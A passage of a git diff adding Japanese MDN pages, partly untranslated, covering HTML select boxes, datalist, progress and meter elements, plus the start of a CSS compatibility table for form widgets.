+</select></pre> +</div> + +<p>{{EmbedLiveSample("groups", 120, 120)}}</p> + +<p>{{HTMLElement("optgroup")}}要素では、label属性の値が入れ子になったオプションの値の前に表示されます。ブラウザーは通常、それらをオプションから視覚的に離して（すなわち太字にしたり、入れ子レベルを変えたりして）表示しますので、実際のオプションと混同される可能性は低くなります。</p> + +<p>{{HTMLElement("option")}}要素に明示的な value属性が設定されている場合、そのオプションが選択された状態でフォームが送信された時にその値が送信されます。上の例のように value属性を省略した場合は、{{HTMLElement("option")}}要素の内容が値として使われます。そのため、value属性は必要ありませんが、セレクトボックスに視覚的に表示されている値とは異なる値を短くしたり、サーバーに送信したい理由があるかもしれません。</p> + +<p>例えば、:</p> + +<pre class="brush: html notranslate"><select id="simple" name="simple"> + <option value="banana">Big, beautiful yellow banana</option> + <option value="cherry">Succulent, juicy cherry</option> + <option value="lemon">Sharp, powerful lemon</option> +</select></pre> + +<p>デフォルトでは、選択ボックスの高さは、単一の値を表示するのに十分です。オプションの size 属性は、セレクトにフォーカスがない場合に表示されるオプションの数を制御します。</p> + +<h3 id="Multiple_choice_select_box" name="Multiple_choice_select_box">複数選択の選択ボックス</h3> + +<p>デフォルトでは、セレクトボックスは、ユーザーに単一の値を選択 さ せ る だけです。{{HTMLElement("select")}}要素に{{htmlattrxref("multiple", "select")}}属性を追加することで、オペレーティングシステムが提供するデフォルトのメカニズム（例えば、<kbd>Cmd</kbd>/<kbd>Ctrl</kbd> を押しながらデスクトップ上で複数の値をクリックするなど）を使用して、ユーザーが複数の値を選択できるようにすることができます。</p> + +<pre class="brush: html notranslate"><select id="multi" name="multi" multiple size="2"> + <optgroup label="fruits"> + <option>Banana</option> + <option selected>Cherry</option> + <option>Lemon</option> + </optgroup> + <optgroup label="vegetables"> + <option>Carrot</option> + <option>Eggplant</option> + <option>Potato</option> + </optgroup> +</select></pre> + +<p>{{EmbedLiveSample("Multiple_choice_select_box", 120, 120)}}</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: 複数選択可能なセレクトボックスの場合、セレクトボックスはドロップダウンコンテンツとして値を表示しないことに気づくでしょう - 代わりに、すべての値がリストに一度に表示され、オプションの <code><a href="/ja/docs/Web/HTML/Attributes/size">size</a></code>属性はウィジェットの高さを決定します。</p> +</div> + +<div class="note"><strong>注:</strong> {{HTMLElement("select")}}要素をサポートするすべてのブラウザーは、{{htmlattrxref("multiple", "select")}}属性もサポートしています。</div> + +<h3 id="Autocomplete_box" name="Autocomplete_box">オートコンプリートのボックス</h3> + +<p>You can provide suggested, automatically-completed values for form widgets using 表示する値を指定する {{HTMLElement("option")}} 子要素つきの {{HTMLElement("datalist")}} 要素を使って、フォームウィジェット用のオートコンプリートの提案値を提供できます。 <code><datalist></code> には <code>id</code>が必要です。</p> + +<p>データリストは、 <code>id</code> の値が拘束するデータリストの値となる {{htmlattrxref("list","input")}} 属性を用いて、 {{htmlelement("input")}} 要素 (つまり<code>text</code> や <code>email</code> の入力タイプ) に拘束されます。</p> + +<div id="first_autocomplete"> +<p>データリストがフォームウィジェットに関連づけられると、オプションはユーザーが入力するオートコンプリートテキストに使われます。典型的には、これはユーザーが入力に打ち込んだものにマッチするドロップダウンボックスで表示されます。</p> + +<p>例を見てみましょう。</p> + +<pre class="brush: html notranslate"><label for="myFruit">What's your favorite fruit?</label> +<input type="text" name="myFruit" id="myFruit" list="mySuggestion"> +<datalist id="mySuggestion"> + <option>Apple</option> + <option>Banana</option> + <option>Blackberry</option> + <option>Blueberry</option> + <option>Lemon</option> + <option>Lychee</option> + <option>Peach</option> + <option>Pear</option> +</datalist></pre> + +<p>{{EmbedLiveSample("first_autocomplete", 120, 120)}}</p> +</div> + +<h4 id="Datalist_support_and_fallbacks" name="Datalist_support_and_fallbacks">Datalist support and fallbacks</h4> + +<p>Almost all browsers support datalist, but if you are still supporting older browsers such as IE versions below 10, there is a trick to provide a fallback:</p> + +<pre class="brush:html; notranslate"><label for="myFruit">What is your favorite fruit? (With fallback)</label> +<input type="text" id="myFruit" name="fruit" list="fruitList"> + +<datalist id="fruitList"> + <label for="suggestion">or pick a fruit</label> + <select id="suggestion" name="altFruit"> + <option>Apple</option> + <option>Banana</option> + <option>Blackberry</option> + <option>Blueberry</option> + <option>Lemon</option> + <option>Lychee</option> + <option>Peach</option> + <option>Pear</option> + </select> +</datalist> +</pre> + +<p>{{EmbedLiveSample("Datalist_support_and_fallbacks", 120, 120)}}</p> + +<p>Browsers that support the {{HTMLElement("datalist")}} element will ignore all the elements that are not {{HTMLElement("option")}} elements, with the datalist working as expected. Old browsers that don't support the {{HTMLElement("datalist")}} element will display the label and the select box.</p> + +<p>The following screenshot shows the datalist fallback as rendered in Safari 6:</p> + +<p><img alt="Screenshot of the datalist element fallback with Safari on Mac OS" src="/files/4583/datalist-safari.png" style="height: 32px; width: 495px;"></p> + +<p>If you use this fallback, ensure the data for both the <code><input></code> and the <code><select></code> are collected server-side.</p> + +<h4 id="Less_obvious_datalist_uses" name="Less_obvious_datalist_uses">Less obvious datalist uses</h4> + +<p>According to <a href="http://www.w3.org/TR/html5/common-input-element-attributes.html#attr-input-list" rel="external" title="http://www.w3.org/TR/html5/common-input-element-attributes.html#attr-input-list">the HTML specification</a>, the {{htmlattrxref("list","input")}} attribute and the {{HTMLElement("datalist")}} element can be used with any kind of widget requiring a user input. This leads to some uses of it that might seem a little non-obvious.</p> + +<p>例えば、in browsers that support <code>{{htmlelement("datalist")}}</code> on <code>range</code> input types, a small tick mark will be displayed above the range for each datalist <code>{{htmlelement("option")}}</code> value. You can see an implementation <a href="/ja/docs/Web/HTML/Element/input/range#A_range_control_with_hash_marks">example of this on the <code><input type="range"></code> reference page</a>.</p> + +<p>And browsers that support {{htmlelement('datalist')}}s and <code><a href="/ja/docs/Web/HTML/Element/input/color"><input type="color"></a></code> should display a customized palette of colors as the default, while still making the full color palette available.</p> + +<p>In this case, different browsers behave differently from case to case, so consider such uses as progressive enhancement, and ensure they degrade gracefully.</p> + +<h2 id="Other_form_features" name="Other_form_features">その他のフォーム機能</h2> + +<p>There are a few other form features that are not as obvious as the ones we have already mentioned, but still useful in some situations, so we thought it would be worth giving them a brief mention.</p> + +<div class="note"> +<p><strong>注</strong>: You can find the examples from this section on GitHub as <a href="https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/other-examples.html">other-examples.html</a> (<a href="https://mdn.github.io/learning-area/html/forms/native-form-widgets/other-examples.html">see it live also</a>).</p> +</div> + +<h3 id="Meters_and_progress_bars" name="Meters_and_progress_bars">メーターとプログレスバー</h3> + +<p>Meters and progress bars are visual representations of numeric values.</p> + +<h4 id="Progress" name="Progress">Progress</h4> + +<p>A progress bar represents a value that changes over time up to a maximum value specified by the {{htmlattrxref("max","progress")}} attribute. Such a bar is created using a {{ HTMLElement("progress")}} element.</p> + +<pre class="brush: html notranslate"><progress max="100" value="75">75/100</progress></pre> + +<p>{{EmbedLiveSample("Progress", 120, 120)}}</p> + +<p>This is for implementing anything requiring progress reporting, such as the percentage of total files downloaded, or the number of questions filled in on a questionnaire.</p> + +<p>The content inside the {{HTMLElement("progress")}} element is a fallback for browsers that don't support the element and for screen readers to vocalize it.</p> + +<h4 id="Meter" name="Meter">Meter</h4> + +<p>A meter bar represents a fixed value in a range delimited by {{htmlattrxref("max","meter")}} and {{htmlattrxref("min","meter")}} values. This value is visually rendered as a bar, and to know how this bar looks, we compare the value to some other set values:</p> + +<ul> + <li>The {{htmlattrxref("low","meter")}} and {{htmlattrxref("high","meter")}} values divide the range in three parts: + <ul> + <li>The lower part of the range is between the {{htmlattrxref("min","meter")}} and {{htmlattrxref("low","meter")}} values, inclusive.</li> + <li>The medium part of the range is between the {{htmlattrxref("low","meter")}} and {{htmlattrxref("high","meter")}} values, exclusive.</li> + <li>The higher part of the range is between the {{htmlattrxref("high","meter")}} and {{htmlattrxref("max","meter")}} values, inclusive.</li> + </ul> + </li> + <li>The {{htmlattrxref("optimum","meter")}} value defines the optimum value for the {{HTMLElement("meter")}} element. In conjuction with the {{htmlattrxref("low","meter")}} and {{htmlattrxref("high","meter")}} value, it defines which part of the range is prefered: + <ul> + <li>If the {{htmlattrxref("optimum","meter")}} value is in the lower part of the range, the lower range is considered to be the prefered part, the medium range is considered to be the average part, and the higher range is considered to be the worst part.</li> + <li>If the {{htmlattrxref("optimum","meter")}} value is in the medium part of the range, the lower range is considered to be an average part, the medium range is considered to be the prefered part, and the higher range is considered to be average as well.</li> + <li>If the {{htmlattrxref("optimum","meter")}} value is in the higher part of the range, the lower range is considered to be the worst part, the medium range is considered to be the average part and the higher range is considered to be the prefered part.</li> + </ul> + </li> +</ul> + +<p>All browsers that implement the {{HTMLElement("meter")}} element use those values to change the color of the meter bar:</p> + +<ul> + <li>If the current value is in the prefered part of the range, the bar is green.</li> + <li>If the current value is in the average part of the range, the bar is yellow.</li> + <li>If the current value is in the worst part of the range, the bar is red.</li> +</ul> + +<p>Such a bar is created using a {{HTMLElement("meter")}} element. This is for implementing any kind of meter, 例えば、a bar showing total space used on a disk, which turns red when it starts to get full.</p> + +<pre class="brush: html notranslate"><meter min="0" max="100" value="75" low="33" high="66" optimum="50">75</meter></pre> + +<p>{{EmbedLiveSample("Meter", 120, 120)}}</p> + +<p>The content inside the {{HTMLElement("meter")}} element is a fallback for browsers that don't support the element and for assistive technologies to vocalize it.</p> + +<p>Support for {{HTMLElement("progress")}} and {{HTMLElement("meter")}} is fairly good — there is no support in Internet Explorer, but other browsers support it well.</p> + +<h2 id="スキルをテストしよう!">スキルをテストしよう!</h2> + +<p>この記事の終わりまで到達しましたが、最も重要な情報を覚えていますか？次に移る前に、この情報を保持しているか検証するテストがあります — <a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Test_your_skills:_Other_controls">Test your skills: Other controls</a> を見てください。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>最も後のいくつかの記事で見てきたように、利用できるフォーム要素にはいろいろな種類がたくさんあります。一見してすべてを詳しく覚えておく必要はなく、詳細について調べたいだけ、記事に戻ることができます。</p> + +<p>いろいろなフォームコントロールの背後にある HTML をざっと理解したので、<a href="/ja/docs/Learn/Forms/Styling_HTML_forms">それらのスタイル設定</a>について見ていきましょう。</p> + +<p>{{PreviousMenuNext("Learn/Forms/HTML5_input_types","Learn/Forms/Styling_HTML_forms", "Learn/Forms")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Your_first_HTML_form">初めてのフォーム</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">フォームの構築方法</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/The_native_form_widgets">ネイティブフォームウィジェット</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/HTML5_input_types" rel="noopener">The HTML5 input types</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Other_form_controls" rel="noopener">Other form controls</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Styling_HTML_forms">フォームへのスタイル設定</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">フォームへの高度なスタイル設定</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/UI_pseudo-classes" rel="noopener">UI pseudo-classes</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Data_form_validation">フォームデータの検証</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">フォームデータの送信</a></li> +</ul> + +<h3 id="Advanced_Topics" name="Advanced_Topics">上級トピック</h3> + +<ul> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/How_to_build_custom_form_controls" rel="noopener">カスタムフォームコントロールの作成方法</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Sending_forms_through_JavaScript" rel="noopener">JavaScript によるフォームの送信</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Property_compatibility_table_for_form_widgets" rel="noopener">フォームウィジェット向けプロパティ実装状況一覧</a><a href="/ja/docs/Learn/Forms/Property_compatibility_table_for_form_widgets"> </a></li> +</ul> diff --git a/files/ja/learn/forms/property_compatibility_table_for_form_controls/index.html b/files/ja/learn/forms/property_compatibility_table_for_form_controls/index.html new file mode 100644 index 0000000000..c24af4a732 --- /dev/null +++ b/files/ja/learn/forms/property_compatibility_table_for_form_controls/index.html @@ -0,0 +1,2017 @@ +--- +title: フォームウィジェット向けプロパティ実装状況一覧 +slug: Learn/Forms/Property_compatibility_table_for_form_controls +tags: + - Advanced + - CSS + - Forms + - Guide + - HTML + - NeedsUpdate + - Web + - ウェブ + - ガイド + - フォーム + - 高度 +translation_of: Learn/Forms/Property_compatibility_table_for_form_controls +--- +<div>{{learnsidebar}}</div> + +<p class="summary">以下の実装状況一覧表で、 HTML フォーム向けの CSS の対応状況を要約しています。 HTML フォームや CSS の複雑さにより、これらの表は完全なリファレンスであるとはいえません。それでも、何ができて何ができないかの見識を得られるでしょう。また、どうすればよいかを知る助けにもなるでしょう。</p> + +<h2 id="How_to_read_the_tables" name="How_to_read_the_tables">表の見方</h2> + +<h3 id="Values" name="Values">値</h3> + +<p>それぞれのプロパティで取り得る値は 4 種類あります。</p> + +<dl> + <dt>Yes</dt> + <dd>プロパティは各ブラウザー間で、一貫してほどよく対応されています。もっとも、特殊なケースでは奇妙な副作用に直面するかもしれません。</dd> + <dt>Partial</dt> + <dd>プロパティは動作しますが、たびたび奇妙な副作用や一貫性のなさに直面するかもしれません。まず副作用について熟知しているのでなければ、これらのプロパティは避けるべきでしょう。</dd> + <dt>No</dt> + <dd>プロパティは動作しない、または頼りにできるほどの一貫性がありません。</dd> + <dt>n.a.</dt> + <dd>当該ウィジェットに対して、そのプロパティは意味がありません。</dd> +</dl> + +<h3 id="Rendering" name="Rendering">レンダリング</h3> + +<p>それぞれのプロパティで可能なレンダリング方法は 2 種類あります:</p> + +<dl> + <dt>N (Normal)</dt> + <dd>プロパティをそのまま適用することを表します。</dd> + <dt>T (Tweaked)</dt> + <dd>下記の追加ルールとともにプロパティを適用することを表します:</dd> +</dl> + +<pre class="brush: css notranslate">* { +/* これは、WebKit ベースのブラウザーでネイティブのルックアンドフィールを無効にします */ + -webkit-appearance: none; + appearance: none; + +/* Internet Explorer用 */ + background: none; +}</pre> + +<h2 id="Compatibility_tables" name="Compatibility_tables">実装状況一覧表</h2> + +<h3 id="Global_behaviors" name="Global_behaviors">全体的な動作</h3> + +<p>全体的なレベルで多くのブラウザーに共通する動作があります:</p> + +<dl> + <dt>{{cssxref("border")}}, {{cssxref("background")}}, {{cssxref("border-radius")}}, {{cssxref("height")}}</dt> + <dd>これらのプロパティのいずれかを使用すると、一部のブラウザーでネイティブのルックアンドフィールが部分的に、あるいは全面的に無効になることがあります。これらを使用する際は注意してください。</dd> + <dt>{{cssxref("line-height")}}</dt> + <dd>このプロパティの対応状況は各ブラウザー間で一貫性がありませんので、避けるべきでしょう。</dd> + <dt>{{cssxref("text-decoration")}}</dt> + <dd>このプロパティはフォームウィジェットにおいて Opera が対応していません。</dd> + <dt>{{cssxref("text-overflow")}}</dt> + <dd>Opera、Safari および IE9 ではフォームウィジェットでこのプロパティに対応していません。</dd> + <dt>{{cssxref("text-shadow")}}</dt> + <dd>Opera は {{cssxref("text-shadow")}} をフォームウィジェットで対応していません。また、IE9 はまったく対応していません。</dd> +</dl> + +<h3 id="Text_fields" name="Text_fields">テキストフィールド</h3> + +<p><code>{{htmlelement("input/text", "text")}}</code>, <code>{{htmlelement("input/search", "search")}}</code>, and <code>{{htmlelement("input/password", "password")}}</code> の入力タイプを見てください。</p> + +<table> + <thead> + <tr> + <th scope="col">プロパティ</th> + <th scope="col" style="text-align: center;">N</th> + <th scope="col" style="text-align: center;">T</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>CSS ボックスモデル</em></th> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1][2]</sup></td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> + <ol> + <li>WebKit ブラウザーは (主に Mac OSX や iOS で)、検索フィールドでネイティブのルックアンドフィールを使用します。従って、検索フィールドにこのプロパティを適用できるようにするために、<code>-webkit-appearance:none</code> を使用することが必要です。</li> + <li>Windows 7 で Internet Explorer 9 は、 <code>background:none</code> が適用されなければ境界を適用しません。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1][2]</sup></td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> + <ol> + <li>WebKit ブラウザは (主に Mac OSX や iOS で)、検索フィールドでネイティブのルックアンドフィールを使用します。従って、検索フィールドにこのプロパティを適用できるようにするために、<code>-webkit-appearance:none</code> を使用することが必要です。</li> + <li>Windows 7 で Internet Explorer 9 は、<code>background:none</code> が適用されなければ境界を適用しません。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1][2]</sup></td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> + <ol> + <li>WebKit ブラウザは (主に Mac OSX や iOS で)、検索フィールドでネイティブのルックアンドフィールを使用します。従って、検索フィールドにこのプロパティを適用できるようにするために、<code>-webkit-appearance:none</code> を使用することが必要です。</li> + <li>Windows 7 で Internet Explorer 9 は、<code>background:none</code> が適用されなければ境界を適用しません。</li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>テキストとフォント</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}<sup>[1]</sup></th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> + <ol> + <li>{{cssxref("border-color")}} プロパティが設定されていない場合、一部の WebKit ベースブラウザは <code>{{htmlelement("textarea")}}</code> において、フォントだけでなく境界にも {{cssxref("color")}} プロパティを適用します。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td>{{cssxref("line-height")}} の注意事項をご覧ください。</td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td>Opera に関する注意事項をご覧ください。</td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>IE9 はこのプロパティを <code>{{htmlelement("textarea")}}</code> のみで、Opera は単一行のテキストフィールドのみで対応しています。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>境界と背景</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> + <ol> + <li>WebKit ブラウザは (主に Mac OSX や iOS で)、検索フィールドでネイティブのルックアンドフィールを使用します。従って、検索フィールドにこのプロパティを適用できるようにするために、<code>-webkit-appearance:none</code> を使用することが必要です。Windows 7 で Internet Explorer 9 は、<code>background:none</code> が適用されなければ境界を適用しません。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1][2]</sup></td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> + <ol> + <li>WebKit ブラウザは (主に Mac OSX や iOS で)、検索フィールドでネイティブのルックアンドフィールを使用します。従って、検索フィールドにこのプロパティを適用できるようにするために、<code>-webkit-appearance:none</code> を使用することが必要です。Windows 7 で Internet Explorer 9 は、<code>background:none</code> が適用されなければ境界を適用しません。</li> + <li>Opera では、明示的に境界が設定されている場合にのみ {{cssxref("border-radius")}} が適用されます。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + <li>IE9 はこのプロパティに対応していません。</li> + </ol> + </td> + </tr> + </tbody> +</table> + +<h3 id="Buttons" name="Buttons">ボタン</h3> + +<p><code>{{htmlelement("input/button", "button")}}</code>, <code>{{htmlelement("input/submit", "submit")}}</code>, and <code>{{htmlelement("input/reset", "reset")}}</code> input types and the <code>{{htmlelement("button")}}</code> 要素を見てください。</p> + +<table> + <thead> + <tr> + <th scope="col">プロパティ</th> + <th scope="col" style="text-align: center;">N</th> + <th scope="col" style="text-align: center;">T</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>CSS ボックスモデル</em></th> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> + <ol> + <li>Mac OSX や iOS では、WebKit ベースブラウザでこのプロパティが適用されません。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td> + <ol> + <li>Mac OSX や iOS では、WebKit ベースブラウザでこのプロパティが適用されません。</li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>テキストとフォント</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td>{{cssxref("line-height")}} の注意事項をご覧ください。</td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>境界と背景</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes<sup>[1]</sup></td> + <td> + <ol> + <li>Opera では、明示的に境界が設定されている場合にのみ {{cssxref("border-radius")}} が適用されます。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td> + <ol> + 